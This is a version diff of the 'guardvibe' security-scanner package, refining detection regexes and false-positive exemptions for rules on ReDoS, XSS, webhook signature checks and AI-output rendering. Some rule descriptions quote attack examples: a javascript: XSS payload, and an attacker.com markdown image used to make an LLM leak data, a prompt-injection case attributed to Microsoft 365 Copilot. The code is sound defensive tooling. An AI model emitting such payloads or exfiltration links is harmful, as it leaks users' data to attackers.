guardvibe 3.0.53 → 3.0.55

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -304,7 +304,7 @@ export const advancedSecurityRules = [
304
304
  severity: "medium",
305
305
  owasp: "A04:2025 Insecure Design",
306
306
  description: "Regular expression contains nested quantifiers ((a+)+), overlapping alternation with quantifiers (([a-z]+)*), or other patterns that cause catastrophic backtracking. Attackers can send crafted input to freeze the event loop.",
307
- pattern: /\/(?:[^/\\\n]|\\.)*(?:\([^)\n]*[+*][^)\n]*\)\s*[+*]|\(\?:[^)\n]*[+*][^)\n]*\)\s*[+*])(?:[^/\\\n]|\\.)*\//g,
307
+ pattern: /\/(?:[^/\\\n]|\\.)*(?:\([^)\n]*[+*][^)\n]*\)[+*]|\(\?:[^)\n]*[+*][^)\n]*\)[+*])(?:[^/\\\n]|\\.)*\//g,
308
308
  languages: ["javascript", "typescript"],
309
309
  fix: "Rewrite the regex to avoid nested quantifiers. Use atomic groups or possessive quantifiers if available, or use the 'safe-regex' library to validate patterns.",
310
310
  fixCode: '// BAD: catastrophic backtracking\nconst re = /(a+)+$/;\n\n// GOOD: no nested quantifiers\nconst re = /a+$/;\n\n// GOOD: validate with safe-regex\nimport safe from "safe-regex";\nif (!safe(pattern)) throw new Error("Unsafe regex");',
@@ -395,7 +395,7 @@ export const advancedSecurityRules = [
395
395
  severity: "medium",
396
396
  owasp: "A07:2025 Cross-Site Scripting",
397
397
  description: "User-provided URL is used directly in an href attribute without checking for dangerous protocols. Attackers can inject javascript:alert(document.cookie) to execute XSS when the link is clicked.",
398
- pattern: /href\s*=\s*\{(?:user|profile|author|post|comment|data|item|record)[\w.]*\.(?:url|website|link|href|homepage)\}/gi,
398
+ pattern: /href\s*=\s*\{(?:user|profile|author|post|comment|record|input|formData|payload)[\w.]*\.(?:url|website|link|href|homepage)\}/gi,
399
399
  languages: ["javascript", "typescript"],
400
400
  fix: "Validate that URLs start with https:// or http:// before using in href.",
401
401
  fixCode: '// BAD: XSS via javascript: protocol\n<a href={user.website}>{user.name}</a>\n\n// GOOD: protocol validation\nfunction safeHref(url: string): string {\n try {\n const parsed = new URL(url);\n if (["http:", "https:"].includes(parsed.protocol)) return url;\n } catch {}\n return "#";\n}\n<a href={safeHref(user.website)}>{user.name}</a>',
@@ -189,7 +189,7 @@ export const aiSecurityRules = [
189
189
  severity: "high",
190
190
  owasp: "A02:2025 Injection",
191
191
  description: "LLM output containing markdown images is rendered without URL validation. Attackers can trick the model into outputting ![img](https://attacker.com/exfil?data=SENSITIVE_DATA) — the browser automatically fetches the URL, silently exfiltrating data. This was exploited against Microsoft 365 Copilot in 2025.",
192
- pattern: /(?:dangerouslySetInnerHTML|innerHTML|v-html|marked|remark|rehype|unified|react-markdown)[\s\S]{0,300}?(?:message\.content|completion|output|response|aiResponse|result\.text)/gi,
192
+ pattern: /(?:dangerouslySetInnerHTML|innerHTML|v-html|<ReactMarkdown\b)[\s\S]{0,300}?(?:message\.content|completion|aiResponse|chatResponse|llmResponse|result\.text|generated_text|gpt[A-Z_]\w*|claude[A-Z_]\w*|openai\.\w+\.create)/g,
193
193
  languages: ["javascript", "typescript"],
194
194
  fix: "Sanitize LLM output before rendering as markdown. Strip or validate image URLs against an allowlist.",
195
195
  fixCode: '// Sanitize AI output before rendering markdown\nfunction sanitizeAIOutput(text: string): string {\n // Remove markdown images with external URLs\n return text.replace(/!\\[([^\\]]*)\\]\\(https?:\\/\\/[^)]+\\)/g, "[$1](link removed)");\n}\n\n// Or use a markdown renderer with image URL allowlist\n<ReactMarkdown\n components={{\n img: ({ src }) => ALLOWED_HOSTS.some(h => src?.startsWith(h)) ? <img src={src} /> : null\n }}\n>{sanitizeAIOutput(aiResponse)}</ReactMarkdown>',
@@ -18,7 +18,7 @@ export const paymentRules = [
18
18
  severity: "critical",
19
19
  owasp: "A01:2025 Broken Access Control",
20
20
  description: "Stripe webhook endpoint processes events without verifying the webhook signature. Anyone can send fake payment events.",
21
- pattern: /(?:\/api\/webhook|\/api\/stripe|webhook.*stripe)[\s\S]*?(?:req\.body|request\.json|JSON\.parse)[\s\S]{0,300}?(?![\s\S]{0,300}?(?:constructEvent|verifyHeader|stripe\.webhooks))/g,
21
+ pattern: /(?:\/api\/webhook|\/api\/stripe|webhook.*stripe)[\s\S]*?(?:req\.body|request\.json|JSON\.parse)[\s\S]{0,300}?(?![\s\S]{0,300}?(?:constructEvent|verifyHeader|stripe\.webhooks|svix\.verify|webhook\.verify|verify\w*Webhook|verifyWebhookSignature|wh\.verify|crypto\.timingSafeEqual))/g,
22
22
  languages: ["javascript", "typescript"],
23
23
  fix: "Always verify Stripe webhook signatures using stripe.webhooks.constructEvent().",
24
24
  fixCode: "// Verify webhook signature\nconst sig = request.headers.get('stripe-signature')!;\nconst event = stripe.webhooks.constructEvent(\n body, sig, process.env.STRIPE_WEBHOOK_SECRET!\n);",
@@ -25,17 +25,25 @@ function parseSuppressionsFromCode(lines) {
25
25
  // lines, stopping early at a blank line or a new comment block. This makes
26
26
  // suppress comments work for multi-line method chains (common Supabase / ORM
27
27
  // builders span 3-5 lines from `.from(...)` through `.select(...).order(...)`).
28
+ // Additional adjacent `guardvibe-ignore` comments are treated as part of the
29
+ // same header block (they don't break the suppression chain) so users can
30
+ // stack multiple rule suppressions above the same code.
28
31
  suppressions.push({ line: i + 1, ruleId });
29
- for (let j = 1; j <= 5; j++) {
32
+ let codeLinesCovered = 0;
33
+ for (let j = 1; j <= 10 && codeLinesCovered < 5; j++) {
30
34
  const nextLine = lines[i + j];
31
35
  if (nextLine === undefined)
32
36
  break;
33
37
  const trimmed = nextLine.trim();
34
38
  if (trimmed === "")
35
39
  break;
36
- if (/^\s*(?:\/\/|#|<!--)/.test(nextLine))
37
- break;
40
+ // Comment continuation lines (additional `guardvibe-ignore` directives or plain
41
+ // explanation comments below the directive) are part of the same header block —
42
+ // don't break the chain, but don't count them against the 5-line code budget.
43
+ if (/^\s*(?:\/\/|#|<!--|\*)/.test(nextLine))
44
+ continue;
38
45
  suppressions.push({ line: i + 1 + j, ruleId });
46
+ codeLinesCovered++;
39
47
  }
40
48
  }
41
49
  else {
@@ -225,6 +233,7 @@ const LEGITIMATE_PREFIXED_PACKAGES = new Set([
225
233
  "fast-glob", "fast-deep-equal", "fast-json-stable-stringify", "fast-json-stringify",
226
234
  "fast-xml-parser", "fast-diff", "fast-levenshtein", "fast-redact", "fast-check",
227
235
  "fast-uri", "fast-querystring", "fast-decode-uri-component", "fast-content-type-parse",
236
+ "fast-equals", "fast-fifo", "fast-shallow-equal", "fast-safe-stringify",
228
237
  "safe-array-concat", "safe-stable-stringify", "safe-buffer", "safe-regex",
229
238
  "safe-regex-test", "safe-push-apply",
230
239
  "simple-git", "simple-update-notifier", "simple-swizzle", "simple-concat",
@@ -357,7 +366,7 @@ export function analyzeCode(code, language, framework, filePath, configDir, rule
357
366
  // ── Context-aware rule skipping (pattern-agnostic) ──────────────
358
367
  const authRuleIds = new Set(["VG420", "VG952", "VG002", "VG402"]);
359
368
  const adminRoleRuleIds = new Set(["VG426", "VG957"]);
360
- const rateLimitRuleIds = new Set(["VG956", "VG030"]);
369
+ const rateLimitRuleIds = new Set(["VG956", "VG030", "VG1004"]);
361
370
  const isWebhookRoute = filePath && /webhook/i.test(filePath);
362
371
  const isCronRoute = filePath && /(?:cron|scheduled|jobs?)\//i.test(filePath);
363
372
  const isAdminRoute = filePath && /\/admin\//i.test(filePath);
@@ -372,6 +381,34 @@ export function analyzeCode(code, language, framework, filePath, configDir, rule
372
381
  /(?:app|router)\.use\s*\(\s*(?:[^,)]*,\s*)?\w*(?:[Ll]imiter|[Tt]hrottle|[Rr]ate[Ll]imit|[Ss]low[Dd]own|[Bb]rute)\w*\s*\)/.test(code);
373
382
  if (hasGlobalRateLimit)
374
383
  continue;
384
+ // Per-route Next.js / Server Action pattern: file imports a rate-limiter factory and
385
+ // uses `.check(`/`.limit(` at call sites. Common in App Router route handlers and
386
+ // React Server Actions where there's no shared `app.use(...)` middleware.
387
+ const hasPerRouteRateLimit = /\b(?:createRateLimiter|createRedisRateLimiter|createSlidingWindow|Ratelimit\.slidingWindow|express-rate-limit|hono-rate-limiter|@upstash\/ratelimit)\b/.test(code) &&
388
+ /\b\w+\s*\.\s*(?:check|limit)\s*\(/.test(code);
389
+ if (hasPerRouteRateLimit)
390
+ continue;
391
+ }
392
+ // Skip VG1010 (Server Action without input validation) when the file uses a schema
393
+ // validator (zod / joi / yup / valibot) on its arguments. Rule fires at the file's
394
+ // 'use server' directive (line 1) but validation lives inside the function body.
395
+ if (rule.id === "VG1010") {
396
+ const hasSchemaValidation = /\b(?:z\.\w+|zod\.\w+|joi\.\w+|Joi\.\w+|yup\.\w+|valibot)/.test(code) &&
397
+ /\.\s*(?:parse|safeParse|validate|validateSync|parseAsync)\s*\(/.test(code);
398
+ if (hasSchemaValidation)
399
+ continue;
400
+ }
401
+ // Skip VG601 (Stripe Webhook Missing Signature Verification) when the file calls a
402
+ // webhook-verification function anywhere — Stripe's `constructEvent`, Svix-style
403
+ // `verifyPolarWebhook`/`verifyClerkWebhook`/`svix.verify`, or generic HMAC compare via
404
+ // `crypto.timingSafeEqual`. The base regex's negative lookahead only checks 300 chars
405
+ // *after* the body parse and misses the safer verify-then-parse ordering used by
406
+ // svix-style webhooks (verify raw bytes, parse only after).
407
+ if (rule.id === "VG601") {
408
+ const hasWebhookVerification = /\b(?:stripe\.webhooks\.constructEvent|svix\.verify|\w*\.\s*verify\s*\([^)]*signature|verify\w*Webhook|verifyWebhookSignature|wh\.verify)\b/.test(code) ||
409
+ /crypto\.timingSafeEqual\s*\(/.test(code);
410
+ if (hasWebhookVerification)
411
+ continue;
375
412
  }
376
413
  // Skip auth rules when code has any auth guard pattern (naming-agnostic)
377
414
  if (codeHasAuthGuard && authRuleIds.has(rule.id))
@@ -404,6 +441,11 @@ export function analyzeCode(code, language, framework, filePath, configDir, rule
404
441
  // do expose data still get flagged.
405
442
  if (rule.id === "VG1006" && isBatchScriptFile)
406
443
  continue;
444
+ // Skip VG1008 (Admin Role Elevation Without Authorization Check) in batch scripts —
445
+ // CLI scripts under scripts/ run by the operator at the terminal; there is no HTTP
446
+ // request handler to authorize. Rule still fires inside route handlers and Server Actions.
447
+ if (rule.id === "VG1008" && isBatchScriptFile)
448
+ continue;
407
449
  // Skip VG132 (Missing Request Body Size Limit) on Next.js route handlers and
408
450
  // pages/api endpoints — Next.js/Vercel apply a default 4.5MB body limit at the
409
451
  // platform layer, which is what the rule is checking for.
@@ -630,18 +672,20 @@ export function analyzeCode(code, language, framework, filePath, configDir, rule
630
672
  }
631
673
  // VG020 (wildcard dep version) on package.json: skip the `engines` block —
632
674
  // `"node": ">=18.0.0"` is a runtime constraint, not a dependency range.
675
+ // Also skip the `overrides` block — that's npm's mechanism for *forcing* a
676
+ // minimum transitive version (security tightening), not a loose dep range.
633
677
  if (rule.id === "VG020" && filePath && /package\.json$/.test(filePath)) {
634
- let inEngines = false;
678
+ let inExemptBlock = false;
635
679
  for (let j = lineNumber - 1; j >= Math.max(0, lineNumber - 6); j--) {
636
680
  const prev = lines[j] ?? "";
637
- if (/"engines"\s*:\s*\{/.test(prev)) {
638
- inEngines = true;
681
+ if (/"(?:engines|overrides|resolutions|pnpm)"\s*:\s*\{/.test(prev)) {
682
+ inExemptBlock = true;
639
683
  break;
640
684
  }
641
685
  if (/^\s*\}/.test(prev))
642
- break; // closed a previous block — not in engines
686
+ break; // closed a previous block — not in exempt
643
687
  }
644
- if (inEngines)
688
+ if (inExemptBlock)
645
689
  continue;
646
690
  }
647
691
  // Skip hardcoded-credential rules when the value is a human-readable sentence
@@ -670,6 +714,37 @@ export function analyzeCode(code, language, framework, filePath, configDir, rule
670
714
  if (/\b[A-Z][A-Z0-9_]*\s*=\s*["']\d+["']/.test(matchedLine))
671
715
  continue;
672
716
  }
717
+ // VG106 (Timing-Unsafe Secret Comparison): skip when one operand is a React useRef
718
+ // pattern (`*Ref.current`). Refs hold local component state, not user-provided input,
719
+ // so timing attacks don't apply — there's no remote attacker controlling the comparand.
720
+ if (rule.id === "VG106") {
721
+ const matchedLine = lines[lineNumber - 1] ?? "";
722
+ if (/\b\w*Ref\.current\b/.test(matchedLine))
723
+ continue;
724
+ }
725
+ // VG126 (Dynamic RegExp from User Input): skip when the variable name signals it has
726
+ // already been escaped/sanitized (e.g. `escapedElement`, `safeQuery`, `sanitizedInput`).
727
+ if (rule.id === "VG126") {
728
+ const matchedLine = lines[lineNumber - 1] ?? "";
729
+ if (/\bnew\s+RegExp\s*\(\s*(?:escaped|escape\w*|sanitized|sanitiz\w*|safe[A-Z_]\w*|validated)\w*\b/.test(matchedLine))
730
+ continue;
731
+ }
732
+ // VG1009 (Supabase ilike/like Pattern Injection): skip when the interpolated variable
733
+ // name signals it has already been escaped (e.g. `escaped`, `safeQuery`, `sanitized`).
734
+ if (rule.id === "VG1009") {
735
+ const matchedLine = lines[lineNumber - 1] ?? "";
736
+ if (/\$\{\s*(?:escaped|escape\w*|sanitized|sanitiz\w*|safe[A-Z_]\w*|validated)/.test(matchedLine))
737
+ continue;
738
+ }
739
+ // VG426 (Missing Role Check on Admin Route): skip when the matched line is inside a
740
+ // JSDoc comment (`* GET /api/admin/...`) — the actual handler code below the doc block
741
+ // gets evaluated separately. Without this, every documented admin route fires twice
742
+ // (once on the doc-comment line, once on the handler).
743
+ if (rule.id === "VG426") {
744
+ const matchedLine = lines[lineNumber - 1] ?? "";
745
+ if (/^\s*\*\s/.test(matchedLine) || /^\s*\/\*\*/.test(matchedLine) || /^\s*\*\//.test(matchedLine))
746
+ continue;
747
+ }
673
748
  // Skip VG010 (SQL injection) on Angular HTTP service calls — http.get/post/etc.
674
749
  // are HTTP client methods, not SQL. The existing pattern's `get` keyword catches them.
675
750
  if (rule.id === "VG010") {
@@ -69,7 +69,8 @@ function collectJsFiles(dir, maxFiles = 200) {
69
69
  const files = [];
70
70
  const config = loadConfig(resolve(dir));
71
71
  const skip = new Set([
72
- "node_modules", ".git", ".next", "build", "dist", ".turbo", "coverage",
72
+ "node_modules", ".git", ".next", ".vercel", ".output", ".astro", ".svelte-kit",
73
+ "build", "dist", ".turbo", "coverage", ".nuxt", ".cache",
73
74
  ...config.scan.exclude,
74
75
  ]);
75
76
  // `maxFiles = Infinity` is the contract for full mode (CLI --full flag): scan everything.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "guardvibe",
3
- "version": "3.0.53",
3
+ "version": "3.0.55",
4
4
  "mcpName": "io.github.goklab/guardvibe",
5
5
  "description": "Security MCP for vibe coding. 365 rules, 36 tools, CLI + doctor. Host security, auth coverage mapping, LLM-powered deep scan (IDOR/business logic), taint analysis. Plus Next.js, Supabase, Clerk, Stripe, Prisma, tRPC, Hono, GraphQL, Convex, Turso, Uploadthing, AI SDK, and the full AI-generated stack.",
6
6
  "type": "module",